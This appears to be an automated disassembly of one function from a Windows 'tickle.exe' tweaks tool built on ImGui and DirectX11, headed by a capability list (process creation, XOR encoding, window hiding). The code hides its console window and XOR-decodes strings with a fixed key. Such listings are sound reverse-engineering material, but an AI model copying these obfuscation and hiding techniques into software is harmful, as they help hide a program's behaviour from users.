Function at 0x140056670
Capabilities:
Create process on windows
Encode data using xor
Hide graphical window
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xe48]
sub rsp, 0xf20
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x1400493d0]
lea rcx, [rbp + 0x180]
call fcn.140063fc0
lea rdx, [0x1400493d0]
lea rcx, [rbp + 0xf0]
call fcn.140063fc0
lea rdx, [0x14004dc70]
lea rcx, [rbp + 0x100]
call fcn.140063fc0
lea rdx, [0x140048890]
lea rcx, [rbp + 0x110]
call fcn.140063fc0
lea rdx, [0x140048b70]
lea rcx, [rbp + 0x130]
call fcn.140063fc0
lea rdx, [0x140048e50]
lea rcx, [rbp + 0x140]
call fcn.140063fc0
lea rdx, [0x140048f00]
lea rcx, [rbp + 0x150]
call fcn.140063fc0
lea rdx, [sym.tickle.exe_public:_void___cdecl_asmjit::_abi_1_10::ConstPool::destructor_void____ptr64]
lea rcx, [rbp + 0x160]
call fcn.140063fc0
lea rdx, [0x14004dbe0]
lea rcx, [rbp + 0x170]
call fcn.140063fc0
lea rdx, [0x14004e1a0]
lea rcx, [rbp + 0xc8]
call fcn.140063fc0
lea rdx, [0x14004e0b0]
lea rcx, [rbp + 0xd8]
call fcn.140063fc0
lea rdx, [0x14004e200]
lea rcx, [rbp + 0x120]
call fcn.140063fc0
lea rcx, [rbp + 0x110]
call fcn.1400459d0
lea rcx, [rbp + 0x120]
call fcn.1400459d0
lea rcx, [rbp + 0xd8]
call fcn.1400459d0
lea rcx, [rbp + 0xc8]
call fcn.1400459d0
lea rcx, [rbp + 0x170]
call fcn.1400459d0
lea rcx, [rbp + 0x130]
call fcn.1400459d0
lea rcx, [rbp + 0x140]
call fcn.1400459d0
lea rcx, [rbp + 0x180]
call fcn.1400459d0
lea rcx, [rbp + 0x100]
call fcn.1400459d0
lea rcx, [rbp + 0xf0]
call fcn.1400459d0
lea rcx, [rbp + 0x160]
call fcn.1400459d0
lea rcx, [rbp + 0x150]
call fcn.1400459d0
lea rdx, [rbp + 0x1f5]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140061710
mov r15, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x140056893
xor byte [r15], 0x31
xor byte [r15 + 1], 0x32
xor byte [r15 + 2], 0x33
xor byte [r15 + 3], 0x34
xor byte [r15 + 4], 0x35
xor byte [r15 + 5], 0x36
xor byte [r15 + 6], 0x37
xor byte [r15 + 7], 0x38
xor byte [r15 + 8], 0x39
xor byte [r15 + 9], 0x3a
xor al, 0x3b
mov byte [r15 + 0xa], al
lea rdx, [rbp + 0x1ea]
mov byte [rsp + 0x62], 0
lea rcx, [rsp + 0x62]
call fcn.140061740
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x1400568e0
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor byte [rbx + 9], 0x3a
xor al, 0x3b
mov byte [rbx + 0xa], al
lea rdx, [rbp + 0x6e0]
mov byte [rsp + 0x63], 0
lea rcx, [rsp + 0x63]
call fcn.140061770
mov r13d, dword [reloc.WS2_32.dll_accept]
mov r12, rax
movdqa xmm12, xmmword [0x1401ca820]
movdqa xmm9, xmmword [0x1401ca7a0]
cmp byte [rax + 0x40], 0
movdqa xmm13, xmmword [str.8888]
movdqa xmm8, xmmword [0x1401caca0]
je 0x140056a85
xor r8d, r8d
cmp r13d, 2
jl 0x140056a4b
movdqa xmm0, xmmword [str.1111111111111111]
mov rcx, rax
movdqa xmmword [rbp - 0x50], xmm0
mov edx, dword [rbp - 0x50]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x140056950
cmp r8d, 0x41
jge 0x140056a85
movsxd r9, r8d
add r9, r12
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x140056a51
lea rdx, [rbp - 0x34]
movaps xmmword [rsp + 0xf10], xmm6
lea rcx, [rsp + 0x64]
mov byte [rsp + 0x64], 0
call fcn.1400617b0
mov rdi, rax
cmp byte [rax + 3], 0
je 0x140056b63
xor r8d, r8d
cmp r13d, 2
jl 0x140056b25
movdqa xmm6, xmmword [str.1111111111111111]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm6
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x140056b6b
mov r9, rdi
nop dword [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140056b30
movdqa xmm6, xmmword [str.1111111111111111]
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x65], 0
lea rcx, [rsp + 0x65]
call fcn.1400617c0
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x140056ce5
xor r8d, r8d
cmp r13d, 2
jl 0x140056cab
movdqa xmmword [rbp - 0x50], xmm6
mov rcx, rax
mov edx, dword [rbp - 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140056bb0
cmp r8d, 0x1d
jge 0x140056ce5
movsxd r9, r8d
add r9, r10
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140056cb1
mov rdx, r10
lea rcx, [rbp + 0x210]
call fcn.140063430
mov rdx, rdi
lea rcx, [rbp + 0xc70]
mov r14, rax
call fcn.140063430
mov rdx, r12
lea rcx, [rbp + 0xc50]
mov rsi, rax
call fcn.140063430
mov rdx, rbx
lea rcx, [rbp + 0xc30]
mov rdi, rax
call fcn.140063430
mov rdx, r15
lea rcx, [rbp + 0xc10]
mov rbx, rax
call fcn.140063430
mov r9, rdi
mov qword [rsp + 0x28], r14
mov r8, rbx
mov qword [rsp + 0x20], rsi
mov rdx, rax
lea rcx, [rbp + 0x760]
call fcn.1400450d0
lea rcx, [rbp + 0x760]
call fcn.14011fd40
lea rcx, [rbp + 0x760]
call fcn.14011c7d0
lea rax, [0x1400627f0]
mov dword [rbp + 0x190], 0x50
xor r15d, r15d
mov qword [rbp + 0x198], rax
mov edx, 0x7f00
mov dword [rbp + 0x194], 0x40
xor ecx, ecx
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], r15
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x1b0], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
lea r14, str.Example
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1b8], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x1d0], r14
xor ecx, ecx
mov qword [rbp + 0x1c8], rax
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rbp + 0x190]
mov qword [rbp + 0x1d8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x1401eb11c]
mov r12d, 1
mov ecx, r12d
cvttss2si esi, dword [0x1401eb118]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1401eb11c]
xor ecx, ecx
mulss xmm0, dword [0x1401ca548]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1401eb118]
cdq
mulss xmm0, dword [0x1401ca548]
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si eax, xmm1
mov rdx, qword [rbp + 0x1d0]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r15
mov r8, r14
mov qword [rsp + 0x50], r15
xor ecx, ecx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
movdqa xmm0, xmmword [0x1401ca6f0]
lea rdx, [rbp + 0x378]
mov rcx, rax
mov qword [0x14029c640], rax
movdqu xmmword [rbp + 0x378], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14029c640]
lea rdx, [0x14029c648]
xorps xmm0, xmm0
movups xmmword [0x14029c648], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x14029c640]
call fcn.140062640
test al, al
jne 0x140056fd3
call fcn.140062770
mov rdx, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x760]
call fcn.140062330
lea rcx, [rbp + 0x120]
call fcn.1400459b0
lea rcx, [rbp + 0xd8]
call fcn.1400459b0
lea rcx, [rbp + 0xc8]
call fcn.1400459b0
lea rcx, [rbp + 0x170]
call fcn.1400459b0
lea rcx, [rbp + 0x160]
call fcn.1400459b0
lea rcx, [rbp + 0x150]
call fcn.1400459b0
lea rcx, [rbp + 0x140]
call fcn.1400459b0
lea rcx, [rbp + 0x130]
call fcn.1400459b0
lea rcx, [rbp + 0x110]
call fcn.1400459b0
lea rcx, [rbp + 0x100]
call fcn.1400459b0
lea rcx, [rbp + 0xf0]
call fcn.1400459b0
lea rcx, [rbp + 0x180]
call fcn.1400459b0
mov eax, r12d
jmp 0x1400616c4
mov rcx, qword [0x14029c640]
mov edx, 0xa
movaps xmmword [rsp + 0xed0], xmm10
movaps xmmword [rsp + 0xec0], xmm11
movaps xmmword [rsp + 0xe90], xmm14
movaps xmmword [rsp + 0xe80], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14029c640]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.4
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140015470
xor ecx, ecx
call fcn.140005fb0
call fcn.140007f00
lea rcx, [rbp + 0xcf0]
mov rdi, rax
call fcn.140026290
mov dword [rbp + 0xd3c], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400294b0
movss xmm3, dword [0x1401ca5fc]
lea rdx, [0x1402749a0]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0xcf0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140026d90
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400294b0
movss xmm3, dword [0x1401ca614]
lea rdx, [0x1401ec1b0]
mov qword [rsp + 0x28], rax
mov r8d, 0x28da8
lea rax, [rbp + 0xcf0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140026d90
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14029c680], rax
call fcn.1400294b0
movss xmm3, dword [0x1401ca60c]
lea rdx, [0x140273ee0]
mov qword [rsp + 0x28], rax
mov r8d, 0xab8
lea rax, [rbp + 0xcf0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140026d90
mov rcx, qword [0x14029c640]
mov qword [0x14029c620], rax
call fcn.14003a5e0
mov rdx, qword [0x14029c818]
mov rcx, qword [0x14029c810]
call fcn.14003a320
movss xmm14, dword [0x1401ca580]
lea rcx, [rbp + 0xaf0]
movss xmm3, dword [0x1401ca550]
movss xmm2, dword [0x1401ca54c]
movss xmm1, dword [0x1401ca544]
movss dword [rsp + 0x20], xmm14
call fcn.140001580
movdqa xmm15, xmmword [0x1401ca7e0]
lea r15, str.Main
movdqa xmm11, xmmword [0x1401ca7d0]
xor r12b, r12b
movdqa xmm10, xmmword [0x1401ca7c0]
mov r14d, 1
movss xmm6, dword [0x1401ca604]
movaps xmmword [rsp + 0xf00], xmm7
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, [rbp + 0x5e0]
xor edx, edx
lea rdi, [0x14029c630]
lea rbx, [0x14029c678]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140057240
nop dword [rax]
lea rcx, [rbp + 0x5e0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x5e0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp + 0x5e8], 0x12
lea rcx, [rbp + 0x5e0]
movzx r12d, r12b
cmove r12d, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x1400571f0
test r12b, r12b
jne 0x1400615c3
call fcn.14003a590
call fcn.14003b3f0
call fcn.140008920
lea rcx, [rbp + 0x6e0]
call fcn.140045880
xor esi, esi
cmp qword [0x14029c678], rsi
jne 0x140057296
mov rcx, qword [0x14029c810]
lea r9, [rbp + 0x6e0]
mov qword [rsp + 0x30], rsi
lea rdx, [0x1401eb120]
mov qword [rsp + 0x28], rbx
mov r8d, 0x1090
mov qword [rsp + 0x20], rsi
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14029c630], 0
jne 0x1400572d0
mov rcx, qword [0x14029c810]
lea r9, [rbp + 0x6e0]
mov qword [rsp + 0x30], rsi
lea rdx, [0x140214f60]
mov qword [rsp + 0x28], rdi
mov r8d, 0x5ab96
mov qword [rsp + 0x20], rsi
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14029c688], 0
jne 0x140057311
mov rcx, qword [0x14029c810]
lea rax, [0x14029c688]
mov qword [rsp + 0x30], rsi
lea r9, [rbp + 0x6e0]
mov qword [rsp + 0x28], rax
lea rdx, [0x14026fb00]
mov r8d, 0x43d3
mov qword [rsp + 0x20], rsi
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x14029c610]
test rax, rax
jne 0x14005733e
mov r8d, 0xb89
lea rdx, str.D:Important_FilesImportant_Files_tweaks_tweaksimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14029c610]
mov qword [rax + 0x37f8], 0
test rax, rax
jne 0x14005736f
mov r8d, 0xb89
lea rdx, str.D:Important_FilesImportant_Files_tweaks_tweaksimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14029c610]
mov dword [rax + 0x3804], esi
lea rcx, [rbp - 0x18]
mov dword [rax + 0x383c], 0x41700000
xor edx, edx
mov dword [rax + 0x3840], 0x41700000
mov dword [rax + 0x3864], 0x40e00000
movss xmm0, dword [0x1401eb118]
movss xmm1, dword [0x1401eb11c]
movss dword [rbp - 0x18], xmm0
movss dword [rbp - 0x14], xmm1
call fcn.140012520
xor edx, edx
lea rcx, str.menu_DirectX11
mov r8d, 0xab
call fcn.14000e9c0
call fcn.140056070
mov rcx, qword [0x14029c610]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
movss xmm1, dword [0x14029cb0c]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [0x14029cb08]
movss dword [rbp + 0x9c], xmm1
movss xmm1, dword [0x14029cb14]
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x98]
mov rbx, qword [rax + 0x298]
movss dword [rbp + 0x98], xmm0
movss xmm0, dword [0x14029cb10]
movss dword [rbp + 0xa4], xmm1
movss dword [rbp + 0xa0], xmm0
call fcn.140003e20
movss xmm0, dword [0x1401eb118]
lea r8, [rbp - 0x10]
movss xmm1, dword [0x1401eb11c]
lea rdx, [rbp - 8]
movss dword [rbp - 0x10], xmm0
mov r9d, eax
movss xmm0, dword [0x1401ca5c0]
mov rcx, rbx
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
movss dword [rbp - 0xc], xmm1
mov qword [rbp - 8], 0
call fcn.140023850
mov rdx, qword [0x14029c610]
mov rax, qword [rdx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rcx, qword [rdx + 0x3ef0]
mov rax, qword [rcx + 0x298]
mov edi, dword [rax + 0x20]
mov byte [rcx + 0xb8], 1
lea rcx, [rbp + 0x88]
movss xmm1, dword [0x14029cb0c]
movss xmm0, dword [0x14029cb08]
mov rax, qword [rdx + 0x3ef0]
movss dword [rbp + 0x8c], xmm1
movss xmm1, dword [0x14029cb14]
mulss xmm1, dword [rdx + 0x37f0]
mov rbx, qword [rax + 0x298]
movss dword [rbp + 0x88], xmm0
movss xmm0, dword [0x14029cb10]
movss dword [rbp + 0x94], xmm1
movss dword [rbp + 0x90], xmm0
call fcn.140003e20
movss xmm0, dword [0x1401eb118]
lea r8, [rbp]
movss xmm1, dword [0x1401eb11c]
lea rdx, [rbp + 8]
movss dword [rbp], xmm0
mov r9d, eax
movss xmm0, dword [0x1401ca5a0]
mov rcx, rbx
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x1401ca5c0]
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 4], xmm1
mov dword [rbp + 8], 0x3f800000
mov dword [rbp + 0xc], 0x3f800000
call fcn.140023770
mov edx, Ordinal_27
mov dword [rsp + 0x20], esi
mov r9d, edx
lea rcx, [rbp + 0xc90]
mov r8d, edx
call fcn.1400015b0
mov rcx, rax
call fcn.140003e20
movss xmm1, dword [0x14029cafc]
mov ebx, eax
mov rcx, qword [0x14029c610]
movss xmm0, dword [0x14029caf8]
movss dword [rbp + 0x7c], xmm1
movss xmm1, dword [0x14029cb04]
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x78]
movss dword [rbp + 0x78], xmm0
movss xmm0, dword [0x14029cb00]
movss dword [rbp + 0x84], xmm1
movss dword [rbp + 0x80], xmm0
call fcn.140003e20
mov r9, qword [0x14029c610]
mov r10d, eax
movss xmm2, dword [0x1401eb118]
mov edx, edi
movss xmm1, dword [0x1401eb11c]
mulss xmm1, dword [0x1401ca548]
mov rax, qword [r9 + 0x3ef0]
mulss xmm2, dword [0x1401ca548]
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], r10d
mov byte [rax + 0xb8], 1
mov rcx, qword [r9 + 0x3ef0]
unpcklps xmm2, xmm1
movaps xmm1, xmm14
unpcklps xmm1, xmm14
movsd qword [rsp + 0x20], xmm2
mov rax, qword [rcx + 0x298]
mov r8d, dword [rax + 0x20]
mov byte [rcx + 0xb8], 1
mov rcx, qword [r9 + 0x3ef0]
movq r9, xmm1
mov rcx, qword [rcx + 0x298]
call fcn.140025e00
movss xmm1, dword [0x1401eb118]
lea rcx, [rbp + 0x370]
subss xmm1, dword [0x1401ca638]
movss xmm2, dword [0x1401ca5e8]
call fcn.140001570
mov rcx, rax
call fcn.140015bd0
call fcn.140015ec0
movaps xmm2, xmm6
lea rcx, [rbp + 0x5c8]
movaps xmm1, xmm6
call fcn.140001570
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x65], 0
lea rcx, [rsp + 0x65]
mov rbx, rax
call fcn.1400617f0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x1400576df
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140031bb0
test al, al
je 0x140057703
mov rcx, qword [0x14029c640]
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
movss xmm6, dword [0x1401ca6d4]
xorps xmm0, xmm0
movaps xmm1, xmm6
xorps xmm7, xmm7
call fcn.140015ad0
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
movzx eax, word [0x1401c201c]
mov word [rsp + 0x60], ax
mov dword [rbp + 0x10], 0x41c80000
mov dword [rbp + 0x14], 0x41c80000
je 0x140057746
xor byte [rsp + 0x61], 0x32
mov byte [rsp + 0x60], 0x41
xor r8d, r8d
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x60]
call fcn.140031bb0
test al, al
je 0x14005776d
mov rcx, qword [0x14029c640]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov r12b, 1
call fcn.140016010
mov eax, dword [0x14029c8f8]
mov edi, dword [0x14029c628]
cmp edi, eax
jne 0x140057786
movaps xmm6, xmm14
mov rbx, qword [0x14029c610]
test rbx, rbx
jne 0x1400577bf
mov r8d, 0xfff
lea rdx, str.D:Important_FilesImportant_Files_tweaks_tweaksimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [0x14029c8f8]
mov rbx, qword [0x14029c610]
mov edi, dword [0x14029c628]
movss xmm14, dword [rbx + 0x18]
movaps xmm0, xmm14
mulss xmm0, dword [0x1401ca5b0]
mulss xmm0, xmm6
addss xmm0, dword [0x14029c87c]
comiss xmm7, xmm0
movss xmm7, dword [0x1401ca580]
jbe 0x1400577ef
xorps xmm6, xmm6
jmp 0x1400577f6
movaps xmm6, xmm7
minss xmm6, xmm0
movss dword [0x14029c87c], xmm6
cmp edi, eax
je 0x14005780a
movss xmm7, dword [0x1401ca6d4]
movss xmm0, dword [0x1401ca680]
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm0, xmm14
xorps xmm14, xmm14
mulss xmm0, xmm7
movss xmm7, dword [0x1401ca580]
addss xmm0, dword [0x14029cbd4]
comiss xmm14, xmm0
jbe 0x14005783f
xorps xmm1, xmm1
jmp 0x140057846
movaps xmm1, xmm7
minss xmm1, xmm0
ucomiss xmm6, xmm14
movss dword [0x14029cbd4], xmm1
jp 0x140057864
jne 0x140057864
ucomiss xmm1, xmm14
jp 0x140057864
jne 0x140057864
mov dword [0x14029c8f8], edi
mulss xmm6, dword [rbx + 0x37f0]
xor ecx, ecx
movaps xmm1, xmm6
call fcn.140004520
mov eax, dword [0x14029c8f8]
test eax, eax
jne 0x14005857d
call fcn.1400125a0
lea rcx, [0x14029caf8]
mov r15, rax
call fcn.1400042f0
movaps xmm2, xmm7
lea rcx, [rbp + 0x5d0]
movaps xmm1, xmm7
mov r14d, eax
call fcn.140001570
xorps xmm2, xmm2
lea rcx, [rbp + 0x5d8]
xorps xmm1, xmm1
mov rsi, rax
call fcn.140001570
movss xmm2, dword [0x1401ca624]
lea rcx, [rbp + 0x250]
movss xmm1, dword [0x1401ca628]
mov rdi, rax
call fcn.140001570
movss xmm2, dword [0x1401ca5f0]
lea rcx, [rbp + 0x258]
movss xmm1, dword [0x1401ca5f4]
mov rbx, rax
call fcn.140001570
mov rdx, qword [0x14029c688]
mov r9, rbx
mov dword [rsp + 0x30], r14d
mov r8, rax
mov qword [rsp + 0x28], rsi
mov rcx, r15
mov qword [rsp + 0x20], rdi
call fcn.140023c50
mov rcx, qword [0x14029c680]
call fcn.140012080
movss xmm0, dword [0x1401ca6d4]
lea rdx, str.TICKLE_TWEAKS
movss xmm6, dword [0x1401eb118]
lea rcx, [rbp + 0x260]
mulss xmm6, dword [0x1401ca548]
xor r9d, r9d
xor r8d, r8d
movss dword [rsp + 0x20], xmm0
call fcn.14000b4e0
movss xmm2, dword [0x1401ca634]
lea rcx, [rbp + 0x268]
movss xmm0, dword [rax]
mulss xmm0, dword [0x1401ca548]
subss xmm6, xmm0
movaps xmm1, xmm6
call fcn.140001570
lea rcx, [0x14029cab8]
mov rbx, rax
call fcn.1400042f0
lea rcx, [0x14029ca18]
mov edi, eax
call fcn.1400042f0
lea rdx, [rbp + 0x9e0]
mov byte [rsp + 0x64], 0
lea rcx, [rsp + 0x64]
mov esi, eax
call fcn.140061800
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140057b74
xor r8d, r8d
cmp r13d, 2
jl 0x140057b2e
mov eax, dword [str.1111111111111111]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
